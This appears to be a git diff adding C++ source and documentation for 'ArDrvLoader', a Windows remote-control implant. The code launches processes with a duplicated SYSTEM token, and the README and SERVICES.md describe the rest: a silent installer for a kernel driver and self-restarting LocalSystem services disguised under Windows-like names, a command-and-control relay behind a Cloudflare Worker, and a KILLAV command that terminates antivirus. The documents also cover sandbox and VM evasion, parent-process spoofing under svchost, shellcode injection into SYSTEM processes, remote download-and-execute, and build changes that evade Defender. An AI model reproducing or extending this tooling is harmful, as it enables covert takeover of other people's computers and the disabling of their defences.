fullPath = abs; + + if (GetFileAttributesW(fullPath.c_str()) == INVALID_FILE_ATTRIBUTES) + { + Log(L"[-] Executable not found: %s", fullPath.c_str()); + return false; + } + + commandLine.clear(); + commandLine += L'"'; + commandLine += fullPath; + commandLine += L'"'; + + if (args && *args) + { + commandLine += L' '; + commandLine += args; + } + + return true; +} + +static bool CreateProcessAsSystemImpl( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive, + bool suspended, + NewProcInfo* out) +{ + if (out) + *out = NewProcInfo(); + + if (!systemToken || !exePath) + return false; + + HANDLE tok = DuplicateSystemTokenFromHandle(systemToken); + if (!tok) + { + Log(L"[-] Failed to duplicate SYSTEM token for process creation"); + return false; + } + + EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME); + EnablePrivilege(SE_INCREASE_QUOTA_NAME); + + if (interactive) + { + DWORD session = WTSGetActiveConsoleSessionId(); + + if (session != 0xFFFFFFFF) + { + if (!SetTokenInformation(tok, TokenSessionId, &session, sizeof(session))) + { + Log(L"[!] SetTokenInformation(TokenSessionId) failed: %lu", GetLastError()); + } + } + } + + LPVOID env = nullptr; + BOOL createdEnv = CreateEnvironmentBlock(&env, tok, FALSE); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = interactive ? SW_SHOWDEFAULT : SW_HIDE; + + if (interactive) + si.lpDesktop = const_cast(L"Winsta0\\Default"); + + std::wstring fullPath; + std::wstring cmd; + + if (!BuildCommandLine(exePath, args, fullPath, cmd)) + { + if (createdEnv) + DestroyEnvironmentBlock(env); + + CloseHandle(tok); + return false; + } + + PROCESS_INFORMATION pi{}; + + DWORD creationFlags = 0; + + if (!interactive) + creationFlags |= CREATE_NO_WINDOW; + + if (suspended) + creationFlags |= CREATE_SUSPENDED; + + BOOL ok = CreateProcessAsUserW( + tok, + fullPath.c_str(), + cmd.data(), + nullptr, + nullptr, + FALSE, + creationFlags, + createdEnv ? env : nullptr, + nullptr, + &si, + &pi); + + if (!ok) + { + Log(L"[-] CreateProcessAsUserW failed: %lu", GetLastError()); + } + else + { + Log(L"[+] Created process: PID %lu", pi.dwProcessId); + + if (out) + { + out->hProcess = pi.hProcess; + out->hThread = pi.hThread; + out->processId = pi.dwProcessId; + } + else + { + if (pi.hThread) + CloseHandle(pi.hThread); + + if (pi.hProcess) + CloseHandle(pi.hProcess); + } + } + + if (createdEnv) + DestroyEnvironmentBlock(env); + + CloseHandle(tok); + + return ok == TRUE; +} + +bool StartProcessAsSystem( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive) +{ + return CreateProcessAsSystemImpl(systemToken, exePath, args, interactive, false, nullptr); +} + +bool CreateProcessSuspendedAsSystem( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive, + NewProcInfo* out) +{ + return CreateProcessAsSystemImpl(systemToken, exePath, args, interactive, true, out); +} diff --git a/ProcessUtils.h b/ProcessUtils.h new file mode 100644 index 0000000..b98188b --- /dev/null +++ b/ProcessUtils.h @@ -0,0 +1,33 @@ +#pragma once + +#include + +struct NewProcInfo +{ + HANDLE hProcess; + HANDLE hThread; + DWORD processId; + + NewProcInfo() + : hProcess(nullptr) + , hThread(nullptr) + , processId(0) + { + } +}; + +DWORD GetPidByName(const wchar_t* exeName); +bool ProcessExistsByName(const wchar_t* exeName); + +bool StartProcessAsSystem( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive); + +bool CreateProcessSuspendedAsSystem( + HANDLE systemToken, + const wchar_t* exePath, + const wchar_t* args, + bool interactive, + NewProcInfo* out); diff --git a/README.md b/README.md new file mode 100644 index 0000000..0d02e5c --- /dev/null +++ b/README.md @@ -0,0 +1,410 @@ +# ArDrvLoader - build, use, test + +Single Windows client binary that installs a LocalSystem service stack, a kernel +driver, and a cloud command channel, plus a relay server and a Cloudflare Worker +that sit in front of it. + +``` +client exe → Cloudflare Worker (proxy) → relay server (Node + SQLite) → panel +``` + +The Worker stores nothing; the relay owns all state. A client can also talk to the +relay directly (no Worker) when you want to save Cloudflare requests. + +- detailed internals: `SERVICES.md` +- this file: how to build, run and test + +--- + +## 1. Requirements + +| Piece | Need | +|---|---| +| Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild | +| Relay | Node.js 22+ (uses `node:sqlite`, no npm dependencies) | +| Worker (optional) | `npm i -g wrangler` and a Cloudflare account | +| Test target | Windows 10/11 x64, admin rights for service install | + +Repository layout: + +``` +cpp_end/ + *.cpp *.h client sources + ArDrvLoader.vcxproj client project + StageDll.cpp/.vcxproj stage payload DLL (embedded into the exe) + driver_res.rc stage_res.rc resource.h embedded driver + payload + build.ps1 build driver → payload → exe, produces dist\ + server/ relay server, sqlite, panel.html + cloudflare/ Worker proxy, mock worker + agent-cli.ps1 agent.cmd small helpers to send a command and read the ACK + test-cloud.ps1 end-to-end test against the mock worker + SERVICES.md deep documentation +``` + +Place `ardrv.sys` in `cpp_end\` before building if you want the driver embedded. +Place nothing there for a driver-less build. + +--- + +## 2. Build + +``` +cd cpp_end +powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release +``` + +Output: + +``` +dist\Release\ArDrvLoader.exe <- single file, this is what ships +x64\Release\ArDrvLoader.exe <- build output with .pdb symbols +``` + +Variants: + +| Command | Result | +|---|---| +| `build.ps1 -Configuration Release` | 335 KB, driver + stage DLL embedded, silent (no console), no logs | +| `build.ps1 -Configuration Debug` | 2.5 MB, console window, writes `C:\Users\Public\ardrv_loader.log` | +| `build.ps1 -Configuration Release -NoEmbed` | 274 KB, no embedded resources; ship `ardrv.sys` and `ardrvstage.dll` separately | +| `build.ps1 -NoEmbed` also accepts `-SkipPayload` | skips rebuilding the stage DLL entirely | + +Raw MSBuild, if you prefer: + +``` +MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m +``` + +Release is linked as a **Windows subsystem** binary (`wmainCRTStartup`), so +double-clicking it shows no console. Debug stays a console app. + +Build hardening already applied to Release: `/Brepro` (no Rich header, no +timestamps) and `/PDBALTPATH:%_PDB%` (no absolute build paths). This removed a +`Trojan:Win32/Wacatac.B!ml` false positive from Defender. + +### Build-time defaults + +The exe can run with **no arguments at all**. These macros live in +`ArDrvLoader.vcxproj` → `PreprocessorDefinitions`: + +| Macro | Meaning | Default | +|---|---|---| +| `ARDRV_DEFAULT_URL` | relay or Worker address | `http://127.0.0.1:8789` | +| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` | +| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` | +| `ARDRV_DEFAULT_AGENT` | agent id, empty = computer name | empty | +| `ARDRV_ALLOW_VM_DEFAULT` | `1` bypasses the VM gate (lab images) | `1` | + +Set `ARDRV_ALLOW_VM_DEFAULT=0` and real URLs before shipping. + +--- + +## 3. Run the relay server + +``` +cd cpp_end/server +set PORT=8790 +set AGENT_SECRET=testsecret +set OPERATOR_KEY=testop +set ENROLL_SECRET=testenroll +set LEGACY_MASTER_AUTH=false +set PROXY_SECRET=proxys3cret +node server.js +``` + +| Env | Default | Purpose | +|---|---|---| +| `PORT` | 8790 | listen port | +| `DATA_DIR` | `./data` | sqlite file + `files/` payloads | +| `PANEL_PATH` | `server/panel.html` | UI to serve at `/panel` | +| `AGENT_SECRET` | - | master key; per-agent keys are derived from it | +| `OPERATOR_KEY` | - | panel / operator API key | +| `ENROLL_SECRET` | operator key | enrollment token | +| `LEGACY_MASTER_AUTH` | `false` | accept the shared master key during migration | +| `PROXY_SECRET` | - | if set, requests must carry `X-Proxy-Secret` | +| `RETAIN_COMMAND_DAYS` | 7 | command retention | +| `RETAIN_EVENT_DAYS` | 30 | event retention | +| `RETAIN_MAX_COMMANDS` | 50000 | hard cap | + +The server creates its schema on start, opens SQLite in WAL mode, and reaps +commands stuck in `sent` for over 180 s. + +Panel: `http://:8790/panel?key=testop` + +--- + +## 4. Run the Worker proxy (optional) + +``` +cd cpp_end/cloudflare +wrangler dev --port 8789 --ip 127.0.0.1 --local +``` + +`.dev.vars`: + +``` +SERVER_URL=http://127.0.0.1:8790 +PROXY_SECRET=proxys3cret +``` + +Production: set `SERVER_URL` as a Worker var and `PROXY_SECRET` as a secret, then +`wrangler deploy`. `wrangler.toml` has no D1 or KV bindings - the Worker is a pure +forwarder. + +--- + +## 5. Install the client + +### One double-click + +`dist\Release\ArDrvLoader.exe` with **no arguments** uses the build-time defaults: + +1. one UAC prompt +2. installs driver + three services + cloud agent service +3. waits for the agent to register (id = computer name) +4. queues `KILLAV` through the relay so the run appears in the panel + +### With explicit arguments + +``` +ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key ^ + [--agent box1] [--secret ] [--target C:\Path\App.exe] [--no-killav] +``` + +### Services only, no bootstrap + +``` +ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent" +ArDrvLoader.exe -install-guard-services --target-service "SomeService" +ArDrvLoader.exe -install-guard-services --dry-run # print the plan, no UAC +``` + +Options: `--prefix `, `--install-dir `, `--keep-location`, +`--no-start`, `--allow-vm`, `--cloud-url`, `--cloud-secret`, `--cloud-agent`, +`--cloud-service`. + +### What gets installed + +| Service | Role | +|---|---| +| `DeviceSetupHost` | extracts the driver to `System32\drivers`, creates/starts kernel service `ArDrv`, verifies `\\.\ArDrv` | +| `ProgramCompatHost` | keeps the target program alive, keeps the stage payload injected, keeps peers alive | +| `ServiceStateHost` | re-enables a disabled target service and starts it | +| `CloudTest` / `CloudSyncHost` | the cloud agent | + +All run as `LocalSystem`, auto-start, restart on failure, and watch each other. +Files live under a machine-tagged directory: +`%ProgramData%\Microsoft\Windows\Caches\<8hex>\` (or `%LOCALAPPDATA%\...\INetCache\<8hex>\` +for a non-elevated agent). + +### Configuration - `HKLM\SOFTWARE\ArDrvLoader` + +The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop, +so changes apply without reinstalling. + +| Value | Type | Default | Meaning | +|---|---|---|---| +| `TargetPath` | REG_SZ | - | program to keep alive | +| `TargetArgs` | REG_SZ | - | its arguments | +| `TargetService` | REG_SZ | - | service to keep alive instead | +| `DriverImage` | REG_SZ | `...\drivers\ardrv.sys` | driver path | +| `DriverService` | REG_SZ | `ArDrv` | kernel service name | +| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify | +| `CheckIntervalMs` | REG_DWORD | 5000 | loop interval | +| `DesiredStartType` | REG_DWORD | 2 | 2 auto, 3 demand | +| `DriverFailCount` | REG_DWORD | 0 | consecutive driver failures | +| `DriverFailMax` | REG_DWORD | 3 | budget before giving up | +| `DriverState` | REG_SZ | - | `ok` / `failed` / `disabled-after-failures` | +| `KillAvOnStart` | REG_DWORD | 0 | AV sweep on each guard start | +| `AllowVm` | REG_DWORD | 0 | run inside a VM | +| `ExclusionPaths` | REG_SZ | - | `|`-separated Defender exclusions | + +--- + +## 6. Cloud agent + +``` +ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret --interval 5000 +ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ... +``` + +Config is also read from env (`CA_URL`, `CA_SECRET`, ...) or +`HKLM\Software\CloudAgent`. + +### Per-agent keys + +``` +ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret +``` + +Writes `\agent-box1.key`; the agent uses it when `--secret` and `CA_SECRET` +are absent. Revoke from the panel (`revoke`) or +`POST /api/revoke {"agent":"box1","revoked":true}`. Re-enrolling clears it. + +--- + +## 7. Panel + +`http://:8790/panel?key=` + +- **Console** - per-agent composer (Enter sends, Shift+Enter newline), quick chips, + history with `copy result` / `run again` +- **All commands** - global table, defaults to executed commands, sortable by + time / agent / command / state / operator / result / duration + - `run` chip re-enqueues that command for the same agent + - `+` or the result cell expands the output + - clicking the row loads the command into that agent's console +- **Palette** - `all commands (47)` opens every command grouped by category, with + search; chips with `` load into the composer, others send immediately +- agent header shows host, user, SID, version, interval, and `revoke`/`restore` +- offline agents render grey (`online=false` after 3 intervals, min 45 s) +- broadcast sends one command to every online agent +- auto-refresh every 3 s, `/` focuses the agent filter, `lock` forgets the key + +--- + +## 8. Commands + +``` +PING STATUS HELP +RUN EXEC RUN_USER RUN_SYSTEM +PS PS_USER +RUNFILE [args] RUNFILE_USER RUNFILE_SYSTEM +OPENFILE [args] OPENFILE_USER +DOWNLOAD [sha256] DEPLOY [args] DEPLOY_SYSTEM [args] +KILLPID KILLNAME KILLALL TOKEN_GET +INJECT_FILE INJECT_SUSPEND +KILLAV KILLAV_DRYRUN +EXCLUSION_LIST EXCLUSION_ADD EXCLUSION_APPLY +DRIVER_STATUS DRIVER_RESET DRIVER_LOAD +HOST_LIST HOST_SPAWN [--host ] [args] HOST_SPAWN_USER +HOST_INJECT [--host ] HOST_TRACK HOST_UNTRACK +STAGE_STATUS STAGE_INJECT [--host ] STAGE_RUN STAGE_STOP +SERVICE_STATUS START_SERVICE [path] +INSTALL_SERVICE [path] INSTALL_CLOUD_SERVICE +INSTALL_GUARD_SERVICES [--target ] [--target-service ] [--args ] +STOP +``` + +`KILLAV` and `STOP` are real actions; everything else is diagnostic or scoped. + +--- + +## 9. Test + +### 9.1 Automated cloud test (mock worker, no Node needed in the path) + +``` +cd cpp_end +powershell -ExecutionPolicy Bypass -File test-cloud.ps1 +``` + +It starts `cloudflare/mock-worker.ps1`, starts an agent against it and checks: +PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected +and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST, +DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS. + +Useful switches: `-Port 8795 -AgentId clitest1`. + +### 9.2 Manual command against the live relay + +``` +\.\agent-cli.ps1 -Command "STATUS" +\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST" +agent.cmd STATUS # wrapper for hosts with a restrictive execution policy +``` + +### 9.3 Single-exe client test + +1. Copy `dist\Release\ArDrvLoader.exe` into an empty folder +2. Double-click it (Release is silent; use Debug to watch) +3. Expect UAC → agent appears in the panel → `KILLAV` row completes + +Verify from a shell: + +``` +sc query DeviceSetupHost +sc query ArDrv +dir C:\Windows\System32\drivers\ardrv.sys +HKLM\SOFTWARE\ArDrvLoader +``` + +### 9.4 Driver checks + +``` +ArDrvLoader.exe -drv status # device=ok embedded= fail=N/max state=... +ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys +ArDrvLoader.exe -drv reset +``` + +### 9.5 Kill-safety checks + +``` +ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing killed +ArDrvLoader.exe -killav --dry-run --name svchost.exe # must print SKIP protected +ArDrvLoader.exe -killav --dry-run --name notepad.exe # would-kill, or would-kill (driver) +``` + +### 9.6 AV scan + +``` +"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^ + "C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation +``` + +Current build scans clean on engine 1.461.217.0. + +### 9.7 Uninstall / reset + +Elevated, in order: + +``` +sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost +sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost +sc stop ArDrv +sc delete ArDrv +del C:\Windows\System32\drivers\ardrv.sys +reg delete HKLM\SOFTWARE\ArDrvLoader /f +rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex> +``` + +Then clear relay state if you want a clean panel: + +``` +node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')" +``` + +A staged payload that was injected into a live host can keep +`ardrvstage.dll` locked until reboot; queue it with +`PendingFileRenameOperations` or restart. + +--- + +## 10. Troubleshooting + +| Symptom | Cause / fix | +|---|---| +| double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer | +| UAC appears, nothing installed | `--elevated` present but bootstrap not selected; check you are on a build after commit `9db2870` | +| silent exit, no services | VM gate blocked it - set `ARDRV_ALLOW_VM_DEFAULT=1` or `--allow-vm` | +| agent never appears | relay/worker down, wrong URL, or `PROXY_SECRET` mismatch (relay returns 403) | +| agent shows offline while running | poll interval mismatch; check `X-Agent-Interval` header handling and the 3-interval threshold | +| services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists | +| driver role stops retrying | `DriverFailMax` reached - `DRIVER_RESET` or `-drv reset` | +| command runs twice | reaper requeued a slow command; agents dedupe by id and ack `OK (dup, not re-executed)` | +| Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing | +| SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary | + +--- + +## 11. Known limitations + +- The client is **unsigned**; code signing is the durable fix for SmartScreen and + behavioural AV verdicts. +- Driver capabilities beyond terminate (`PPL` strip, kernel registry writes, + device ACL) need driver source, which is not part of this repository. +- `KILLAV` is real: on a test box it disables Defender until it recovers. +- Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps + you around 17 agents. +- The "services go quiet, payload takes over" handoff is half-built: the guard + keeps the stage payload alive, but the payload only runs commands. diff --git a/SERVICES.md b/SERVICES.md new file mode 100644 index 0000000..fb721f2 --- /dev/null +++ b/SERVICES.md @@ -0,0 +1,1107 @@ +# ArDrvLoader — Guard Services + +Single binary. Three LocalSystem services installed from one command, plus a +cloud control channel. + +## Virtual machine gate + +Every mode refuses to run inside a hypervisor guest and exits silently with code +`0` — no window, no log line, nothing for a sandbox to read. Detection combines: + +| Check | Signal | +|---|---| +| CPUID leaf 1 / 0x40000000 | hypervisor bit plus vendor string: `VMwareVMware`, `VBoxVBoxVBox`, `KVMKVMKVM`, `XenVMMXenVMM`, `TCGTCGTCG`, `bhyve bhyve` | +| SMBIOS (`RSMB` table) | vendor/product strings containing `virtualbox`, `vmware`, `qemu`, `kvm`, `bochs`, `parallels`, `xen`, `virtual machine`, `hyper-v` | +| Hyper-V specifics | `Microsoft Hv` vendor alone is not enough (VBS on bare metal sets it); requires integration services or a virtual MAC | +| Disk `Enum` | controller identity containing `vbox`, `vmware`, `qemu`, `xen`, `virtio` | +| Services | `VBoxService`, `VBoxGuest`, `vmci`, `vmhgfs`, `VMTools`, `vmrawdsk`, `xenbus`, … | +| Driver files | `VBoxGuest.sys`, `vmmouse.sys`, `vmhgfs.sys`, `VBoxService.exe`, … | +| Processes | `VBoxService.exe`, `VBoxTray.exe`, `vmtoolsd.exe`, `qemu-ga.exe`, `xenservice.exe` | +| MAC OUI | `00:0C:29`, `00:50:56`, `08:00:27`, `52:54:00`, `00:16:3E`, `00:15:5D`, … | + +Override for testing inside a VM, any one of: + +``` +ArDrvLoader.exe ... --allow-vm # command line +set ARDRV_ALLOW_VM=1 # environment +reg add "HKLM\SOFTWARE\ArDrvLoader" /v AllowVm /t REG_DWORD /d 1 /f +``` + +`-install-guard-services --allow-vm` writes `AllowVm=1` and embeds `--allow-vm` +into all three service command lines, so the services run on that guest too. +`ARDRV_VM_DEBUG=1` prints the detected reason to stdout — leave it unset on a +target. + +## Install (elevated shell) + +``` +ArDrvLoader.exe -install-guard-services --target "C:\Path\Target.exe" --args "--silent" +``` + +Target is a Windows service instead of a process: + +``` +ArDrvLoader.exe -install-guard-services --target-service "AppService" +``` + +Add `--no-start` to install without starting now. + +## Services + +| Service | Role | What it does | +|---------------|----------|---------------------------------------------------------------------| +| `ArDrvDriver` | driver | Copies `ardrv.sys` to `System32\drivers`, creates kernel service, starts it, verifies `\\.\ArDrv` | +| `ArDrvGuard` | guard | Checks the target each interval. Not running → starts it | +| `ArDrvRepair` | repair | If the target service is disabled → set start type back, start it. Also re-starts missing processes | + +All three: account `LocalSystem`, `SERVICE_AUTO_START`, restart-on-failure (5s / 10s / 30s). + +**Reciprocal watchdogs:** each role also checks that the other two services are +running and starts them if not. A manual `sc stop ArDrvGuard` gets undone within +one interval, because repair and driver both notice. + +Change prefix with `--prefix MyName` → `MyNameDriver`, `MyNameGuard`, `MyNameRepair`. + +### Process start context + +The guard runs as LocalSystem in session 0. Starting the target there would make +it invisible to the logged-in user, so it first grabs the active console session +token (`WTSQueryUserToken` + `CreateProcessAsUser`) and only falls back to a +session-0 launch when no user is logged on. + +## Change the target program later + +No reinstall. Edit the config, services re-read it every loop: + +``` +reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetPath /t REG_SZ /d "C:\New\App.exe" /f +reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetArgs /t REG_SZ /d "--flag" /f +reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetService /t REG_SZ /d "AppService" /f +``` + +The config key's DACL is locked to `SYSTEM` and `Administrators` by the installer, +so a standard user can no longer repoint the guard at their own binary. + +## Config values — `HKLM\SOFTWARE\ArDrvLoader` + +| Value | Type | Default | Meaning | +|--------------------|---------|------------------------------------------|-------------------------------| +| `TargetPath` | REG_SZ | empty | exe to keep alive | +| `TargetArgs` | REG_SZ | empty | arguments for the exe | +| `TargetService` | REG_SZ | empty | service to keep alive | +| `DriverImage` | REG_SZ | `C:\Windows\System32\drivers\ardrv.sys` | driver file | +| `DriverService` | REG_SZ | `ArDrv` | kernel service name | +| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify | +| `CheckIntervalMs` | REG_DWORD | `5000` | loop interval (min 1000) | +| `DesiredStartType` | REG_DWORD | `2` | `2` auto, `3` demand, `4` disabled | +| `DriverServiceName`| REG_SZ | `ArDrvDriver` | watchdog peer name | +| `GuardServiceName` | REG_SZ | `ArDrvGuard` | watchdog peer name | +| `RepairServiceName`| REG_SZ | `ArDrvRepair` | watchdog peer name | + +## Manual test without SCM + +``` +ArDrvLoader.exe -service driver --console +ArDrvLoader.exe -service guard --console --target "C:\Windows\System32\notepad.exe" --interval 1000 +ArDrvLoader.exe -service repair --console --target-service "SomeService" +``` + +## Cloud control + +`-cloud` / `-cloud-service` unchanged in shape. + +### Request authentication + +No secret is sent in a URL. Every request carries: + +``` +X-Agent-Id: +X-Agent-Ts: +X-Agent-Sign: hex(HMAC-SHA256(AGENT_SECRET, + agent \n ts \n METHOD \n path+query \n hex(sha256(body)))) +``` + +The Worker rejects missing, malformed, or stale (>300s) signatures with `403`. +It uses a constant-time comparison. `path+query` has no leading slash, e.g. +`poll?agent=box1`. + +### Remote commands + +``` +DOWNLOAD [sha256] +DEPLOY [args] +DEPLOY_SYSTEM [args] +``` + +- `DOWNLOAD` — fetches any HTTP(S) URL, prints the SHA-256 it computed, deletes + the file and returns `ERR DOWNLOAD hash mismatch got ` when an expected + hash was supplied and does not match. Hard cap: 256 MB. +- `DEPLOY` — downloads into `%ProgramData%\ArDrvLoader\payloads\` and + runs it in the agent's context (SYSTEM when run as a service). +- `DEPLOY_SYSTEM` — forces the SYSTEM token path. + +Full remote install chain: + +``` +DOWNLOAD https://host/installer.msi C:\ProgramData\ArDrvLoader\installer.msi +PS msiexec /i C:\ProgramData\ArDrvLoader\installer.msi /qn +INSTALL_GUARD_SERVICES --target "C:\Program Files\App\App.exe" +``` + +`STATUS` now also reports the watchdog stack: + +``` +pid=1234 system=0 admin=1 sid=S-1-5-21-... driver=ArDrvDriver:running guard=ArDrvGuard:running repair=ArDrvRepair:stopped +``` + +The polling loop backs off on empty/failed polls from the configured interval up +to 15s, and resets to the base interval as soon as a command arrives. + +### Embedded driver + +`ardrv.sys` is packed into the exe as an RCDATA resource when the file sits next to +`ArDrvLoader.vcxproj` at build time (`driver_res.rc`, `resource.h`). At runtime the +binary extracts it to `C:\Windows\System32\drivers\ardrv.sys` if the file is absent, +so one exe is enough to ship. Without a driver file at build time the resource is +simply omitted and the old "copy ardrv.sys from the exe folder" behaviour applies. +The image still has to be signed or the kernel refuses to load it. + +### Testing the cloud agent locally + +``` +powershell -ExecutionPolicy Bypass -File .\test-cloud.ps1 +``` + +Spins up `cloudflare\mock-worker.ps1` (local Worker stand-in with the same HMAC +scheme), starts the agent against it, then checks: + +| Case | Expected | +|---|---| +| `PING` | `PONG` | +| `STATUS` | pid/system/admin/sid line (+ watchdog states if installed) | +| `DOWNLOAD` | `OK sha256=` | +| `DOWNLOAD` with wrong hash | `ERR DOWNLOAD hash mismatch`, file deleted | +| `DEPLOY` | `OK %ProgramData%\ArDrvLoader\payloads\` | +| `STOP` | `OK STOP`, agent exits | +| unsigned request | `403 denied` | + +Manual pieces: + +``` +# mock worker +powershell -File .\cloudflare\mock-worker.ps1 -Port 8788 -Secret testsecret -FileDir C:\payloads + +# agent pointed at it (--elevated skips the UAC relaunch) +ArDrvLoader.exe -cloud --agent testagent --url http://127.0.0.1:8788 --secret testsecret --interval 1000 --no-start-driver --elevated + +# signed command +powershell -File .\send-command.ps1 -Worker http://127.0.0.1:8788 -Agent testagent -Secret testsecret -Command STATUS + +# read the ACK (base64 body) +# GET /status needs a signature too; use send-command.ps1 or the test script +``` + +Set `ARDRV_MOCK_DEBUG=1` when launching the mock worker to log every request, +rejection reason, and signature mismatch. + +## Logging + +| Build | Behaviour | +|---|---| +| `Release` | No logging at all. `Log(...)` is a macro that expands to nothing, so neither the format strings nor their arguments reach the binary. No log file, no `OutputDebugString`. Verified: `ardrv_loader.log`, `=== Loader start ===`, `[guard] ...`, `[watchdog] ...` are all absent from the Release image. | +| `Debug` | Logs to `C:\Users\Public\ardrv_loader.log` and `OutputDebugStringW`. | + +To get logs out of a Release build on purpose, add `ARDRV_LOG_ENABLED=1` to the +project's PreprocessorDefinitions — `Logger.h` only auto-decides when it is not +already defined. + +Note the debug log path lives in `C:\Users\Public`, readable by every local user. +Fine for a dev machine, not for a target. Keep Release for anything deployed. + +## Kill safety (`KillSafety.cpp`) + +AV termination through the driver is now gated. Every candidate goes through: + +1. **Protected list** — `svchost.exe`, `csrss.exe`, `wininit.exe`, `winlogon.exe`, `services.exe`, `lsass.exe`, `smss.exe`, `System`, `Registry`, `MemCompression`, `fontdrvhost`, `dwm`, … Rejected before enumeration, so a request for `svchost.exe` produces one skip line and zero opens. +2. **Own tree** — the caller's PID and every ancestor up to the root are refused. `cmd.exe /c ArDrvLoader -killav --name cmd.exe` reports `SKIP own-tree`. +3. **Identity** — the image path is read from the same handle used for termination; if the base name does not match the requested target, the process is skipped. PID recycling cannot swap a different image in mid-operation because the handle is held across the IOCTL. +4. **Access** — PPL images (Defender's `MsMpEng.exe`) refuse `PROCESS_TERMINATE` even for SYSTEM; reported as `SKIP access-denied`, not attempted blindly. +5. **Cap and pacing** — max 16 terminations per run, 150–350 ms jitter between kills, no retry storm. + +``` +ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing terminated +ArDrvLoader.exe -killav --dry-run --name X # single image, dry run +ArDrvLoader.exe -killav --name cmd.exe # real, through the driver +set ARDRV_KILL_DRYRUN=1 # forces dry run for the loader path +``` + +Cloud: `KILLAV` and `KILLAV_DRYRUN`, both returning the full report in the ACK. + +## Launching programs through a system host (`HostSpawn.cpp`) + +Any executable can be started under a legitimate SYSTEM process, with that +process as its parent. This is what makes the child invisible in a process tree +review: `svchost.exe` → `your.exe`, no service host in the chain. + +``` +HOST_LIST # candidate hosts, best first +HOST_SPAWN [args] # SYSTEM, session 0 +HOST_SPAWN_USER [args] # SYSTEM token, moved to the console session +HOST_SPAWN --host wudfhost.exe [args] # force a specific host family +``` + +How it works: + +1. Enumerate processes holding a SYSTEM token (`S-1-5-18`). +2. Probe injectability: `OpenProcess` with thread/VM rights. PPL processes refuse, + so Defender, `lsass`, `winlogon`, `services`, `csrss` drop out automatically. +3. Rank: `svchost.exe` 100, `wudfhost.exe` 60, `dllhost.exe` 50, others 10. +4. Duplicate the host's primary token. +5. `CreateProcessAsUser` with `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` set to the + host, so the child inherits both the SYSTEM identity and the host as PPID. +6. `HOST_SPAWN_USER` also sets `TokenSessionId` to the active console session and + `winsta0\default`, so a GUI actually appears on the logged-in desktop. + +Verified locally (same-user host, mechanism only — this shell is not elevated): + +``` +-hosts spawn --any-host notepad.exe + OK pid=9704 parent=2280 session=1 host=C:\Windows\System32\svchost.exe method=host-token+ppid + +Win32_Process for pid 9704: + ProcessId : 9704 + ParentProcessId : 2280 ← svchost, as intended +``` + +Local CLI for the same thing: + +``` +ArDrvLoader.exe -host list # SYSTEM hosts +ArDrvLoader.exe -host list --any # every accessible host +ArDrvLoader.exe -host spawn --host svchost.exe "C:\Path\App.exe" --args +ArDrvLoader.exe -host spawn-user ... # visible on the desktop +``` + +**Limitation:** a medium-integrity agent cannot even query SYSTEM processes, so +`HOST_LIST` returns `hosts=0` and `HOST_SPAWN` fails with +`no SYSTEM host process found (need admin or SYSTEM)`. This works when the agent +runs as a service (SYSTEM) or behind the driver's SYSTEM token. If you need the +capability before that, `RUN_SYSTEM` already covers token-based spawning; the +difference is the parent process. + +### Stager injection and re-acquisition (`HostStager.cpp`) + +`HOST_SPAWN` creates a new process under a host. The stager goes further: it +injects a shellcode payload **into** a running SYSTEM host, so the code executes +with `svchost.exe` as its actual image. + +``` +HOST_INJECT [--host ] +HOST_TRACK +HOST_UNTRACK +``` + +Local: `-host inject [--host ] [--any-host]`, `-host track`, +`-host untrack`, `-host ensure [--any-host]`. + +Identity tracking is `{pid, creationTime}` written to +`%ProgramData%\ArDrvLoader\host.track`. Creation time is the key: a recycled PID +whose creation time differs is treated as a dead host, so the loader never +assumes "same pid = same process". + +Re-acquisition: the guard role calls `EnsureHostInjected()` every tick. If the +tracked host is alive it does nothing (`method=already-running`); if it is gone +or the PID was recycled, it picks a fresh host, injects again, 